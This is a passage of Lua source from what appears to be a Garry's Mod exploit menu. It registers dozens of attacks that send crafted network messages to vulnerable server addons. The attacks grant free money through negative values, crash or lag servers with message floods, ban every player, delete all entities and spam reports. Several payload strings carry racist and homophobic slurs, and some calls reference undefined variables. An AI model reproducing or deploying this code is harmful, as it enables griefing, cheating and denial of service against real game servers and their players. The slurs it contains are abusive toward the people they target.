3967 if (PM > #PlayerModels) then
3968 PM = 1
3969 end
3970
3971 if (SK > #Skins) then
3972 SK = 1
3973 end
3974
3975 if (HN > #Hands) then
3976 HN = 1
3977 end
3978
3979 if (TS > #Torso) then
3980 TS = 1
3981 end
3982
3983 if (GL > #Glasses) then
3984 GL = 1
3985 end
3986
3987 if (LG > #Legs) then
3988 LG = 1
3989 end
3990
3991 net.Start("bodyman_model_change")
3992 net.WriteInt(PlayerModels[PM], 10)
3993 net.SendToServer()
3994 net.Start("bodygroups_change")
3995 net.WriteTable({1, Torso[TS]})
3996 net.SendToServer()
3997 net.Start("bodygroups_change")
3998 net.WriteTable({2, Legs[LG]})
3999 net.SendToServer()
4000 net.Start("bodygroups_change")
4001 net.WriteTable({3, Hands[HN]})
4002 net.SendToServer()
4003 net.Start("bodygroups_change")
4004 net.WriteTable({4, Glasses[GL]})
4005 net.SendToServer()
4006 end)
4007 else
4008 timer.Remove("bodygroups")
4009 ECNotify("Stopping")
4010 end
4011 end)
4012 end
4013
4014 status = ValidNetString("SendMoney")
4015
4016 if (status) then
4017 ECPrint("Found Exploit: Free Money #16 [SendMoney]")
4018
4019 addExploit("136", "Free Money #16", "get money", function()
4020 surface.PlaySound("garrysmod/ui_click.wav")
4021 ECNotify("Starting")
4022 hook.Remove("HUDPaint", "skhdsakjl")
4023 net.Start("SendMoney")
4024 net.WriteEntity(LocalPlayer())
4025 net.WriteEntity(LocalPlayer())
4026 net.WriteEntity(LocalPlayer())
4027 net.WriteString("-99999999")
4028 net.SendToServer()
4029 end)
4030 end
4031
4032 status = ValidNetString("BailOut")
4033
4034 if (status) then
4035 ECPrint("Found Exploit: Free Money #17 [BailOut]")
4036
4037 addExploit("137", "Free Money #17", "", function()
4038 surface.PlaySound("garrysmod/ui_click.wav")
4039 ECNotify("Starting")
4040
4041 for k, v in pairs(player.GetAll()) do
4042 net.Start("BailOut")
4043 net.WriteEntity(LocalPlayer())
4044 net.WriteEntity(v)
4045 net.WriteFloat(-999999999)
4046 net.SendToServer()
4047 end
4048 end)
4049 end
4050
4051 status = ValidNetString("hitcomplete")
4052
4053 if (status) then
4054 ECPrint("Found Exploit: Free Money #18 [hitcomplete]")
4055
4056 addExploit("138", "Free Money #18", "get money", function()
4057 surface.PlaySound("garrysmod/ui_click.wav")
4058 ECNotify("Starting")
4059 net.Start("hitcomplete")
4060 net.WriteDouble(99999999)
4061 net.SendToServer()
4062 end)
4063 end
4064
4065 ----------------------------------------
4066 for k, v in pairs(player.GetAll()) do
4067 dahater = v
4068 end
4069
4070 ----------------------------------------
4071 status = ValidNetString("hhh_request")
4072
4073 if (status) then
4074 ECPrint("Found Exploit: Free Money #19 [hhh_request]")
4075
4076 addExploit("139", "Free Money #19", "get money", function()
4077 surface.PlaySound("garrysmod/ui_click.wav")
4078 ECNotify("Starting")
4079 local plyhhh = LocalPlayer()
4080
4081 if dahater ~= plyhhh then
4082 local hitRequest = {}
4083 hitRequest.hitman = plyhhh
4084 hitRequest.requester = plyhhh
4085 hitRequest.target = dahater
4086 hitRequest.reward = -9999999
4087 net.Start('hhh_request')
4088 net.WriteTable(hitRequest)
4089 net.SendToServer()
4090 else
4091 ECPrint("In this version of HHH, you can not use an exploit!")
4092 end
4093 end)
4094 end
4095
4096 status = ValidNetString("DaHit")
4097
4098 if (status) then
4099 ECPrint("Found Exploit: Free Money #20 [DaHit]")
4100
4101 addExploit("140", "Free Money #20", "get money", function()
4102 surface.PlaySound("garrysmod/ui_click.wav")
4103 ECNotify("Starting")
4104 hook.Remove("HUDPaint", "skhdsakjl")
4105 net.Start("DaHit")
4106 net.WriteFloat(-99999999)
4107 net.WriteEntity(LocalPlayer())
4108 net.WriteEntity(LocalPlayer())
4109 net.WriteEntity(LocalPlayer())
4110 net.SendToServer()
4111 end)
4112 end
4113
4114 status = ValidNetString("textstickers_entdata")
4115
4116 if (status) then
4117 ECPrint("Found Exploit: Crash #2 [textstickers_entdata]")
4118
4119 addExploit("141", "Crash #2", "1tap", function()
4120 surface.PlaySound("garrysmod/ui_click.wav")
4121 ECNotify("Starting")
4122 net.Start("textstickers_entdata")
4123 net.WriteUInt(0xFFFFFFF, 32)
4124 net.SendToServer()
4125 end)
4126 end
4127
4128 status = ValidNetString("gBan.BanBuffer")
4129
4130 if (status) then
4131 ECPrint("Found Exploit: gBan Everyone [gBan.BanBuffer]")
4132
4133 addExploit("142", "gBan Everyone", "exploit in the old version of gban", function()
4134 surface.PlaySound("garrysmod/ui_click.wav")
4135 ECNotify("Starting")
4136
4137 for k, v in pairs(player.GetAll()) do
4138 if v ~= LocalPlayer() then
4139 net.Start("gBan.BanBuffer")
4140 net.WriteBool(true)
4141 net.WriteInt(0, 32)
4142 net.WriteString("haha owned")
4143 net.WriteString(v:SteamID())
4144 net.SendToServer()
4145 end
4146 end
4147 end)
4148 end
4149
4150 status = ValidNetString("ARMORY_RetrieveWeapon")
4151
4152 if (status) then
4153 ECPrint("Found Exploit: Free Armory #1 [ARMORY_RetrieveWeapon]")
4154
4155 addExploit("143", "Free Armory #1", "get weapon #1", function()
4156 surface.PlaySound("garrysmod/ui_click.wav")
4157 ECNotify("Starting")
4158 net.Start("ARMORY_RetrieveWeapon")
4159 net.WriteString("weapon1")
4160 net.SendToServer()
4161 end)
4162 end
4163
4164 status = ValidNetString("ARMORY_RetrieveWeapon")
4165
4166 if (status) then
4167 ECPrint("Found Exploit: Free Armory #2 [ARMORY_RetrieveWeapon]")
4168
4169 addExploit("144", "Free Armory #2", "get weapon #2", function()
4170 surface.PlaySound("garrysmod/ui_click.wav")
4171 ECNotify("Starting")
4172 net.Start("ARMORY_RetrieveWeapon")
4173 net.WriteString("weapon2")
4174 net.SendToServer()
4175 end)
4176 end
4177
4178 status = ValidNetString("ARMORY_RetrieveWeapon")
4179
4180 if (status) then
4181 ECPrint("Found Exploit: Free Armory #3 [ARMORY_RetrieveWeapon]")
4182
4183 addExploit("145", "Free Armory #3", "get weapon #3", function()
4184 surface.PlaySound("garrysmod/ui_click.wav")
4185 ECNotify("Starting")
4186 net.Start("ARMORY_RetrieveWeapon")
4187 net.WriteString("weapon3")
4188 net.SendToServer()
4189 end)
4190 end
4191
4192 status = ValidNetString("TransferReport")
4193
4194 if (status) then
4195 ECPrint("Found Exploit: Report Spammer [TransferReport]")
4196
4197 addExploit("146", "Report Spammer", "report all players", function()
4198 surface.PlaySound("garrysmod/ui_click.wav")
4199 ECNotify("Starting")
4200 net.Start("TransferReport")
4201 net.WriteString(v:SteamID())
4202 net.WriteString("CHINKGANG FAGOTS")
4203 net.WriteString("DITCH THIS SHITTY SERVER AND BUY R2D2 TODAY")
4204 net.SendToServer()
4205 end)
4206 end
4207
4208 status = ValidNetString("FIRE_CreateFireTruck")
4209
4210 if (status) then
4211 ECPrint("Found Exploit: Create Fire Truck [FIRE_CreateFireTruck]")
4212
4213 addExploit("147", "Create Fire Truck", "", function()
4214 surface.PlaySound("garrysmod/ui_click.wav")
4215 ECNotify("Starting")
4216 net.Start("FIRE_CreateFireTruck")
4217 net.SendToServer()
4218 end)
4219 end
4220
4221 status = ValidNetString("TFA_Attachment_RequestAll")
4222
4223 if (status) then
4224 ECPrint("Found Exploit: Lagger #20 [TFA_Attachment_RequestAll]")
4225
4226 addExploit("148", "Lagger #20", "an exploit in 'TFA Weapon Pack', discovered by zerg314", function()
4227 surface.PlaySound("garrysmod/ui_click.wav")
4228
4229 if not timer.Exists("lagger20") then
4230 timer.Create("lagger20", 0, 0, function()
4231 for i = 1, 800 do
4232 net.Start("TFA_Attachment_RequestAll", true)
4233 net.SendToServer()
4234 end
4235 end)
4236
4237 ECNotify("Starting Lagger")
4238 else
4239 timer.Remove("lagger20")
4240 ECNotify("Stopping Lagger")
4241 end
4242 end)
4243 end
4244
4245 status = ValidNetString("FIRE_RemoveFireTruck")
4246
4247 if (status) then
4248 ECPrint("Found Exploit: Remove Fire Truck [FIRE_RemoveFireTruck]")
4249
4250 addExploit("149", "Remove Fire Truck", "", function()
4251 surface.PlaySound("garrysmod/ui_click.wav")
4252 ECNotify("Starting")
4253 net.Start("FIRE_RemoveFireTruck")
4254 net.SendToServer()
4255 end)
4256 end
4257
4258 status = ValidNetString("gPrinters.sendID")
4259
4260 if (status) then
4261 ECPrint("Found Exploit: Lagger #21 [gPrinters.sendID]")
4262
4263 addExploit("150", "Lagger #21", "B1G LAGZ, discovered by Leith", function()
4264 surface.PlaySound("garrysmod/ui_click.wav")
4265 ECNotify("Starting")
4266
4267 if not timer.Exists("lagger21") then
4268 timer.Create("lagger21", 0, 0, function()
4269 for i = 1, 1000 do
4270 net.Start("gPrinters.sendID", true)
4271 net.WriteEntity(LocalPlayer())
4272 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 8)
4273 net.SendToServer()
4274 end
4275 end)
4276 end
4277 end)
4278 end
4279
4280 status = ValidNetString("requestmoneyforvk") -- RusElite Server
4281
4282 if (status) then
4283 ECPrint("Found Exploit: Free 50k [requestmoneyforvk]")
4284
4285 addExploit("151", "Free 50k", "gives you 50k bypassing the validation check, discovered by Leith", function()
4286 surface.PlaySound("garrysmod/ui_click.wav")
4287 ECNotify("Starting")
4288 net.Start("requestmoneyforvk")
4289 net.WriteEntity(LocalPlayer())
4290 net.SendToServer()
4291 end)
4292 end
4293
4294 status = ValidNetString("vj_testentity_runtextsd")
4295
4296 if (status) then
4297 ECPrint("Found Exploit: VJSay [NEW] [vj_testentity_runtextsd]")
4298
4299 addExploit("152", "VJSay [NEW]", "'fix' of the old exploit", function()
4300 surface.PlaySound("garrysmod/ui_click.wav")
4301 ECNotify("Starting")
4302
4303 for k, v in pairs(player.GetAll()) do
4304 net.Start("vj_testentity_runtextsd")
4305 net.WriteEntity(v)
4306 net.WriteString("OWNED OWNED OWNED OWNED OWNED OWNED OWNED OWNED ")
4307 net.WriteString("vj_illuminati/Illuminati Confirmed.mp3")
4308 net.SendToServer()
4309 end
4310 end)
4311 end
4312
4313 status = ValidNetString("NET_BailPlayer") -- need to test
4314
4315 if (status) then
4316 ECPrint("Found Exploit: Players Spam [NET_BailPlayer]")
4317
4318 addExploit("153", "Players Spam", "", function()
4319 surface.PlaySound("garrysmod/ui_click.wav")
4320 ECNotify("Starting")
4321
4322 for k, v in pairs(player.GetAll()) do
4323 net.Start("NET_BailPlayer")
4324 net.WriteEntity(v)
4325 net.WriteEntity(v)
4326 net.SendToServer()
4327 end
4328 end)
4329 end
4330
4331 status = ValidNetString("Taxi_Add") -- need to test
4332
4333 if (status) then
4334 ECPrint("Found Exploit: Free Money #21 [Taxi_Add]")
4335
4336 addExploit("154", "Free Money #21", "maybe not work", function()
4337 surface.PlaySound("garrysmod/ui_click.wav")
4338 ECNotify("Starting")
4339 net.Start("Taxi_Add")
4340 net.WriteString("MLG")
4341 net.WriteTable({-1333.647461, -1473.931763, -139.968750})
4342 net.WriteFloat(-99999999)
4343 net.WriteString(Desc)
4344 net.SendToServer()
4345 end)
4346 end
4347
4348 status = ValidNetString("BuyCar")
4349
4350 if (status) then
4351 ECPrint("Found Exploit: Free Money #22 [BuyCar]")
4352
4353 addExploit("155", "Free Money #22", "get money", function()
4354 surface.PlaySound("garrysmod/ui_click.wav")
4355 ECNotify("Starting")
4356 net.Start('BuyCar')
4357 net.WriteFloat(-1000000)
4358 net.WriteEntity(LocalPlayer())
4359 net.WriteString("Gay")
4360 net.WriteString("Cock")
4361 net.WriteString("Twat")
4362 net.SendToServer()
4363 end)
4364 end
4365
4366 status = ValidNetString("rpi_trade_end")
4367
4368 if (status) then
4369 ECPrint("Found Exploit: Test Function [rpi_trade_end]")
4370
4371 addExploit("156", "Test Function", "just test", function()
4372 surface.PlaySound("garrysmod/ui_click.wav")
4373 ECNotify("Starting")
4374 local it = 0
4375
4376 timer.Create(util.CRC(tostring(CurTime())), 0.5, 0, function()
4377 if (it > #player.GetAll()) then
4378 it = 1
4379 else
4380 it = it + 1
4381 end
4382
4383 net.Start("rpi_trade_end")
4384 net.WriteUInt(it, 16)
4385 net.SendToServer()
4386 end)
4387 end)
4388 end
4389
4390 status = ValidNetString("ClickerForceSave")
4391
4392 if (status) then
4393 ECPrint("Found Exploit: Melon Crash [ClickerForceSave]")
4394
4395 addExploit("157", "Melon Crash", "", function()
4396 surface.PlaySound("garrysmod/ui_click.wav")
4397 ECNotify("Starting")
4398
4399 hook.Add("Think", "ps_spam", function()
4400 for k, v in pairs(player.GetAll()) do
4401 net.Start("ClickerForceSave")
4402 net.WriteEntity(ply)
4403 net.WriteInt(1, 1)
4404 net.SendToServer()
4405 end
4406 end)
4407 end)
4408 end
4409
4410 status = ValidNetString("SRequest")
4411
4412 if (status) then
4413 ECPrint("Found Exploit: Deagle Grab [SRequest]")
4414
4415 addExploit("158", "Deagle Grab", "", function()
4416 surface.PlaySound("garrysmod/ui_click.wav")
4417 ECNotify("Starting")
4418
4419 for k, v in pairs(player.GetAll()) do
4420 net.Start("SRequest")
4421 net.WriteEntity(v)
4422 net.SendToServer()
4423 end
4424 end)
4425 end
4426
4427 status = ValidNetString("HealButton")
4428
4429 if (status) then
4430 ECPrint("Found Exploit: Free HP [HealButton]")
4431
4432 addExploit("159", "Free HP", "free hp", function()
4433 surface.PlaySound("garrysmod/ui_click.wav")
4434 ECNotify("Starting")
4435 net.Start("HealButton")
4436 net.WriteEntity(LocalPlayer())
4437 net.WriteFloat(999999)
4438 net.SendToServer()
4439 end)
4440 end
4441
4442 status = ValidNetString("ArmorButton")
4443
4444 if (status) then
4445 ECPrint("Found Exploit: Free Armor [ArmorButton]")
4446
4447 addExploit("160", "Free Armor", "free armor", function()
4448 surface.PlaySound("garrysmod/ui_click.wav")
4449 ECNotify("Starting")
4450 net.Start("ArmorButton")
4451 net.WriteEntity(LocalPlayer())
4452 net.WriteFloat(999999)
4453 net.SendToServer()
4454 end)
4455 end
4456
4457 status = ValidNetString("SprintSpeedset")
4458
4459 if (status) then
4460 ECPrint("Found Exploit: TTT SpeedHack [SprintSpeedset]")
4461
4462 addExploit("161", "TTT SpeedHack", "changes your speed", function()
4463 surface.PlaySound("garrysmod/ui_click.wav")
4464 ECNotify("Starting")
4465 net.Start("SprintSpeedset")
4466 net.WriteFloat(math.min(math.max(2, 0.1), 2))
4467 net.SendToServer()
4468 end)
4469 end
4470
4471 status = ValidNetString("GiveArmor100")
4472
4473 if (status) then
4474 ECPrint("Found Exploit: Armor Exploit [GiveArmor100]")
4475
4476 addExploit("162", "Armor Exploit", "", function()
4477 surface.PlaySound("garrysmod/ui_click.wav")
4478 ECNotify("Starting")
4479 net.Start("GiveArmor100")
4480 net.SendToServer()
4481 end)
4482 end
4483
4484 status = ValidNetString("GiveSCP294Cup") -- NEED TO TEST !!
4485
4486 if (status) then
4487 ECPrint("Found Exploit: 294 JAM [NEED TO TEST] [GiveSCP294Cup]")
4488 SCPLAG = 0
4489
4490 addExploit("163", "SCP 249 JAM!", "", function()
4491 surface.PlaySound("garrysmod/ui_click.wav")
4492 ECNotify("Starting")
4493
4494 if (SCPLAG == 0) then
4495 SCPLAG = 1
4496
4497 timer.Create("LagThatShit", time, 0.05, function()
4498 for k, v in pairs(ents.GetAll()) do
4499 if v:GetClass() == "scp294" then
4500 net.Start("GiveSCP294Cup")
4501 net.WriteString("shit")
4502 net.WriteEntity(v)
4503 net.SendToServer()
4504 end
4505 end
4506 end)
4507 else
4508 SCPLAG = 0
4509 timer.Remove("LagThatShit")
4510 end
4511 end)
4512 end
4513
4514
4515 status = ValidNetString("Client_To_Server_OpenEditor")
4516
4517 if (status) then
4518 ECPrint("Found Exploit: SCP 249 Drink Menu Hack [Client_To_Server_OpenEditor]")
4519
4520 addExploit("164", "SCP 249 Drink Menu Hack", "", function()
4521 surface.PlaySound("garrysmod/ui_click.wav")
4522 ECNotify("Starting")
4523 net.Start("Client_To_Server_OpenEditor")
4524 net.SendToServer()
4525 end)
4526 end
4527
4528 status = ValidNetString("DuelMessageReturn")
4529
4530 if (status) then
4531 ECPrint("Found Exploit: Duel Crazy [DuelMessageReturn]")
4532
4533 addExploit("165", "Duel Crazy", "forces all players to fight with all players, discovered by Solly", function()
4534 surface.PlaySound("garrysmod/ui_click.wav")
4535 ECNotify("Starting")
4536
4537 timer.Create("crazyduel", 0.1, 0, function()
4538 s.duel[1] = table.Random(player.GetAll())
4539 s.duel[2] = table.Random(player.GetAll())
4540 net.Start("DuelMessageReturn")
4541 net.WriteFloat(1)
4542 net.WriteTable(s.duel)
4543 net.SendToServer()
4544 end)
4545 end)
4546 end
4547
4548 status = ValidNetString("userAcceptPrestige")
4549
4550 if (status) then
4551 ECPrint("Found Exploit: Free Prestige [userAcceptPrestige]")
4552
4553 addExploit("166", "Free Prestige", "exploit for free prestige", function()
4554 surface.PlaySound("garrysmod/ui_click.wav")
4555 ECNotify("Starting")
4556 net.Start("userAcceptPrestige")
4557 net.SendToServer()
4558 end)
4559 end
4560
4561 status = ValidNetString("wordenns")
4562
4563 if (status) then
4564 ECPrint("Found Exploit: Steal All Monies #11 [wordenns]")
4565
4566 addExploit("167", "Steal All Monies #11", "withdraw money from all printers", function()
4567 surface.PlaySound("garrysmod/ui_click.wav")
4568 ECNotify("Starting")
4569 ECPrint("printers:" .. tostring(#ents.FindByClass("derma_printer")))
4570
4571 for k, v in pairs(ents.FindByClass("derma_printer")) do
4572 net.Start("wordenns")
4573 net.WriteEntity(v)
4574 net.SendToServer()
4575 end
4576 end)
4577 end
4578
4579 status = ValidNetString("guncraft_removeWorkbench")
4580
4581 if (status) then
4582 ECPrint("Found Exploit: Remove all Entity [guncraft_removeWorkbench]")
4583
4584 addExploit("168", "Remove all Entity", "an exploit in addon 'GunCraft'", function()
4585 surface.PlaySound("garrysmod/ui_click.wav")
4586 ECNotify("Starting")
4587
4588 if not timer.Exists("removentity") then
4589 timer.Create("removentity", 3, 0, function()
4590 for k, v in pairs(ents.GetAll()) do
4591 net.Start("guncraft_removeWorkbench")
4592 net.WriteEntity(v)
4593 net.SendToServer()
4594 end
4595 end)
4596 end
4597 end)
4598 end
4599
4600 status = ValidNetString("BuyKey")
4601
4602 if (status) then
4603 ECPrint("Found Exploit: Blue Unbox Exploit [NEED TO TEST]")
4604
4605 addExploit("169", "Blue Unbox Exploit", "", function()
4606 surface.PlaySound("garrysmod/ui_click.wav")
4607 ECNotify("Starting")
4608 net.Start("BuyKey")
4609 net.SendToServer()
4610 net.Start("BuyCrate")
4611 net.SendToServer()
4612 end)
4613 end
4614
4615 status = ValidNetString("casinokit_chipexchange")
4616
4617 if (status) then
4618 ECPrint("Found Exploit: Free Money #23 [casinokit_chipexchange]")
4619
4620 addExploit("170", "Free Money #23", "only works if outdated", function()
4621 surface.PlaySound("garrysmod/ui_click.wav")
4622 ECNotify("Starting")
4623 local moneylog = LocalPlayer():getDarkRPVar("money")
4624 net.Start("casinokit_chipexchange")
4625 net.WriteEntity(self)
4626 net.WriteString("darkrp")
4627 net.WriteBool(true)
4628 net.WriteUInt(LocalPlayer():getDarkRPVar("money"), 32)
4629 net.SendToServer()
4630
4631 timer.Simple(3, function()
4632 for i = 1, 5000 do
4633 net.Start("casinokit_chipexchange")
4634 net.WriteEntity(self)
4635 net.WriteString("darkrp")
4636 net.WriteBool(false)
4637 net.WriteUInt(moneylog * 0.10, 32)
4638 net.SendToServer()
4639 end
4640 end)
4641 end)
4642 end
4643
4644 status = ValidNetString("PurchaseWeed")
4645
4646 if (status) then
4647 ECPrint("Found Exploit: Buy Weed [PurchaseWeed]")
4648
4649 addExploit("171", "Buy Weed", "", function()
4650 surface.PlaySound("garrysmod/ui_click.wav")
4651 ECNotify("Starting")
4652 net.Start("PurchaseWeed")
4653 net.WriteInt(tonumber(10000), 16)
4654 net.WriteInt(tonumber(1), 16)
4655 net.WriteBool(LocalPlayer().Buying)
4656 net.SendToServer()
4657 end)
4658 end
4659
4660 status = ValidNetString("PurchaseWeed")
4661
4662 if (status) then
4663 ECPrint("Found Exploit: Sell Weed [PurchaseWeed]")
4664
4665 addExploit("172", "Sell Weed", "", function()
4666 surface.PlaySound("garrysmod/ui_click.wav")
4667 ECNotify("Starting")
4668 net.Start("PurchaseWeed")
4669 net.WriteInt(tonumber(100), 16)
4670 net.WriteInt(tonumber(100), 16)
4671 net.WriteBool(LocalPlayer().Selling)
4672 net.SendToServer()
4673 end)
4674 end
4675
4676 status = ValidNetString("DoDealerDeliver")
4677
4678 if (status) then
4679 ECPrint("Found Exploit: Buy Tab [DoDealerDeliver]")
4680
4681 addExploit("173", "Buy Tab", "", function()
4682 surface.PlaySound("garrysmod/ui_click.wav")
4683 ECNotify("Starting")
4684
4685 if (LocalPlayer():getDarkRPVar("money") >= WEED_CONFIG.TabletPrice) then
4686 net.Start("DoDealerDeliver")
4687 net.WriteBool(false)
4688 net.SendToServer()
4689 end
4690 end)
4691 end
4692
4693 status = ValidNetString("DoDealerDeliver")
4694
4695 if (status) then
4696 ECPrint("Found Exploit: Buy Bong [DoDealerDeliver]")
4697
4698 addExploit("174", "Buy Bong", "", function()
4699 surface.PlaySound("garrysmod/ui_click.wav")
4700 ECNotify("Starting")
4701
4702 if (LocalPlayer():getDarkRPVar("money") >= WEED_ITEMS.Items["Tools"]["bong"].price) then
4703 net.Start("DoDealerDeliver")
4704 net.WriteBool(true)
4705 net.SendToServer()
4706 end
4707 end)
4708 end
4709
4710 status = ValidNetString("sendDuelInfo")
4711
4712 if (status) then
4713 ECPrint("Found Exploit: Duel NPC Exploit [sendDuelInfo]")
4714
4715 addExploit("175", "Duel NPC Exploit", "", function()
4716 surface.PlaySound("garrysmod/ui_click.wav")
4717 ECNotify("Starting")
4718 net.Start("sendDuelInfo")
4719 net.WriteString(table.Random(player.GetAll()):Nick())
4720 net.WriteString("xxdddd")
4721 net.WriteString("1e+100")
4722 net.WriteEntity(table.random(player.GetAll()):UserID())
4723 net.WriteInt(3, 3)
4724 net.SendToServer()
4725 end)
4726 end
4727
4728 status = ValidNetString("InviteMember")
4729
4730 if (status) then
4731 ECPrint("Found Exploit: Invite all players [InviteMember]")
4732
4733 addExploit("176", "Invite all players", "Invite all players to your org", function()
4734 surface.PlaySound("garrysmod/ui_click.wav")
4735 ECNotify("Starting")
4736
4737 for k, v in pairs(player.GetAll()) do
4738 net.Start("InviteMember")
4739 net.WriteEntity(v)
4740 net.WriteEntity(v)
4741 net.WriteString("lol what")
4742 net.SendToServer()
4743 end
4744 end)
4745 end
4746
4747 status = ValidNetString("newTerritory")
4748
4749 if (status) then
4750 ECPrint("Found Exploit: New Territory [newTerritory]")
4751
4752 addExploit("177", "New Territory", "", function()
4753 surface.PlaySound("garrysmod/ui_click.wav")
4754 ECNotify("Starting")
4755
4756 for k, v in pairs(player.GetAll()) do
4757 net.Start("newTerritory")
4758 net.WriteString("Hackers")
4759 net.WriteTable(t)
4760 net.SendToServer()
4761 end
4762 end)
4763 end
4764
4765 status = ValidNetString("CreateOrganization")
4766
4767 if (status) then
4768 ECPrint("Found Exploit: Org Exploit [CreateOrganization]")
4769
4770 addExploit("178", "Org Exploit", "", function()
4771 surface.PlaySound("garrysmod/ui_click.wav")
4772 ECNotify("Starting")
4773
4774 for k, v in pairs(player.GetAll()) do
4775 net.Start("CreateOrganization")
4776 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4777 net.WriteString("Join my gang or will rekt u")
4778 net.SendToServer()
4779 end
4780 end)
4781 end
4782
4783 status = ValidNetString("DisbandOrganization")
4784
4785 if (status) then
4786 ECPrint("Found Exploit: Org Disband [DisbandOrganization]")
4787
4788 addExploit("179", "Org Disband", "", function()
4789 surface.PlaySound("garrysmod/ui_click.wav")
4790 ECNotify("Starting")
4791 net.Start("DisbandOrganization")
4792 net.WriteEntity(LocalPlayer())
4793 net.SendToServer()
4794 end)
4795 end
4796
4797 status = ValidNetString("ChangeOrgName")
4798
4799 if (status) then
4800 ECPrint("Found Exploit: Org Change Name [ChangeOrgName]")
4801
4802 addExploit("180", "Org Change Name", "", function()
4803 surface.PlaySound("garrysmod/ui_click.wav")
4804 ECNotify("Starting")
4805 net.Start("ChangeOrgName")
4806 net.WriteString("I LOVE BANNAS WOOOOOOOOO I FUCKED GIANT BABIES WOOOOOO")
4807 net.WriteString("SHITTY CUNT ASS SERVER FUCK OFF. STOP WITH YOUR SHITTY COPY AND PASTE SHIT! YOU STOLE MY SHIT NIGGER!")
4808 net.WriteEntity(LocalPlayer())
4809 net.SendToServer()
4810 end)
4811 end
4812
4813 status = ValidNetString("IS_SubmitSID_C2S")
4814
4815 if (status) then
4816 ECPrint("Found Exploit: Free Reward [IS_SubmitSID_C2S | IS_GetReward_C2S]")
4817
4818 addExploit("181", "Free Reward", "", function()
4819 surface.PlaySound("garrysmod/ui_click.wav")
4820 ECNotify("Starting")
4821 net.Start("IS_SubmitSID_C2S")
4822 net.WriteString("Killa")
4823 net.SendToServer()
4824 net.Start("IS_GetReward_C2S")
4825 net.SendToServer()
4826 end)
4827 end
4828
4829 status = ValidNetString("AcceptBailOffer")
4830
4831 if (status) then
4832 ECPrint("Found Exploit: Bail Offer Exploit [AcceptBailOffer]")
4833
4834 addExploit("182", "Bail Offer Exploit", "", function()
4835 surface.PlaySound("garrysmod/ui_click.wav")
4836 ECNotify("Starting")
4837
4838 for k, v in pairs(player.GetAll()) do
4839 net.Start("AcceptBailOffer")
4840 net.WriteEntity(v)
4841 net.WriteUInt(-100000000000000000, 16)
4842 net.SendToServer()
4843 end
4844 end)
4845 end
4846
4847 status = ValidNetString("CP_Test_Results")
4848
4849 if (status) then
4850 ECPrint("Found Exploit: CP Bypass [CP_Test_Results]")
4851
4852 addExploit("183", "CP Bypass", "", function()
4853 surface.PlaySound("garrysmod/ui_click.wav")
4854 ECNotify("Starting")
4855 net.Start("CP_Test_Results")
4856 net.WriteInt(1, 8)
4857 net.SendToServer()
4858 end)
4859 end
4860
4861 status = ValidNetString("ReSpawn")
4862
4863 if (status) then
4864 ECPrint("Found Exploit: Respawn #4 [ReSpawn]")
4865
4866 addExploit("184", "Respawn #4", "just respawn", function()
4867 surface.PlaySound("garrysmod/ui_click.wav")
4868 ECNotify("Starting")
4869 net.Start("ReSpawn")
4870 net.SendToServer()
4871 end)
4872 end
4873
4874 status = ValidNetString("FIGHTCLUB_KickPlayer")
4875
4876 if (status) then
4877 ECPrint("Found Exploit: Fight Club Kick [FIGHTCLUB_KickPlayer]")
4878
4879 addExploit("185", "Fight Club Kick", "", function()
4880 surface.PlaySound("garrysmod/ui_click.wav")
4881 ECNotify("Starting")
4882
4883 for k, v in pairs(player.GetAll()) do
4884 net.Start("FIGHTCLUB_KickPlayer")
4885 net.WriteBit(v)
4886 net.WriteEntity(v)
4887 net.SendToServer()
4888 end
4889 end)
4890 end
4891
4892 status = ValidNetString("FIGHTCLUB_StartFight")
4893
4894 if (status) then
4895 ECPrint("Found Exploit: Fight Club Start Fight [FIGHTCLUB_StartFight]")
4896
4897 addExploit("186", "Fight Club Start Fight", "", function()
4898 surface.PlaySound("garrysmod/ui_click.wav")
4899 ECNotify("Starting")
4900
4901 for k, v in pairs(player.GetAll()) do
4902 net.Start("FIGHTCLUB_StartFight")
4903 net.WriteEntity(v)
4904 net.SendToServer()
4905 end
4906 end)
4907 end
4908
4909 status = ValidNetString("IveBeenRDMed")
4910
4911 if (status) then
4912 ECPrint("Found Exploit: Fake RDM [IveBeenRDMed]")
4913
4914 addExploit("187", "Fake RDM", "", function()
4915 surface.PlaySound("garrysmod/ui_click.wav")
4916 ECNotify("Starting")
4917
4918 for k, v in pairs(player.GetAll()) do
4919 net.Start("IveBeenRDMed")
4920 net.WriteEntity(v)
4921 net.SendToServer()
4922 end
4923 end)
4924 end
4925
4926 status = ValidNetString("nCTieUpStart")
4927
4928 if (status) then
4929 ECPrint("Found Exploit: Combine Control Exploit [nCTieUpStart]")
4930
4931 addExploit("188", "Combine Control Exploit", "", function()
4932 surface.PlaySound("garrysmod/ui_click.wav")
4933 ECNotify("Starting")
4934
4935 for k, v in pairs(ents.GetAll()) do
4936 net.Start("nCTieUpStart")
4937 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4938 net.SendToServer()
4939 end
4940 end)
4941 end
4942
4943 status = ValidNetString("DestroyTable")
4944
4945 if (status) then
4946 ECPrint("Found Exploit: Fuck All [DestroyTable]")
4947
4948 addExploit("189", "Fuck All", "discovered by Leith", function()
4949 surface.PlaySound("garrysmod/ui_click.wav")
4950 ECNotify("Starting")
4951
4952 for k, v in pairs(ents.GetAll()) do
4953 net.Start("DestroyTable")
4954 net.WriteEntity(v)
4955 net.SendToServer()
4956 end
4957 end)
4958 end
4959
4960 status = ValidNetString("start_wd_hack")
4961
4962 if (status) then
4963 ECPrint("Found Exploit: Hack Phone Exploit [start_wd_hack]")
4964
4965 addExploit("190", "Hack Phone Exploit", "", function()
4966 surface.PlaySound("garrysmod/ui_click.wav")
4967 ECNotify("Starting")
4968 net.Start("start_wd_hack")
4969 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4970 net.SendToServer()
4971 end)
4972 end
4973
4974 status = ValidNetString("bringNfreeze")
4975
4976 if (status) then
4977 ECPrint("Found Exploit: Ban Exploit [bringNfreeze]")
4978
4979 addExploit("191", "Ban Exploit", "", function()
4980 surface.PlaySound("garrysmod/ui_click.wav")
4981 ECNotify("Starting")
4982
4983 for k, v in pairs(player.GetAll()) do
4984 net.Start('bringNfreeze')
4985 net.WriteEntity(self)
4986 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4987 net.SendToServer()
4988 end
4989 end)
4990 end
4991
4992 status = ValidNetString("JoinFirstSS")
4993
4994 if (status) then
4995 ECPrint("Found Exploit: Join First SS [JoinFirstSS]")
4996
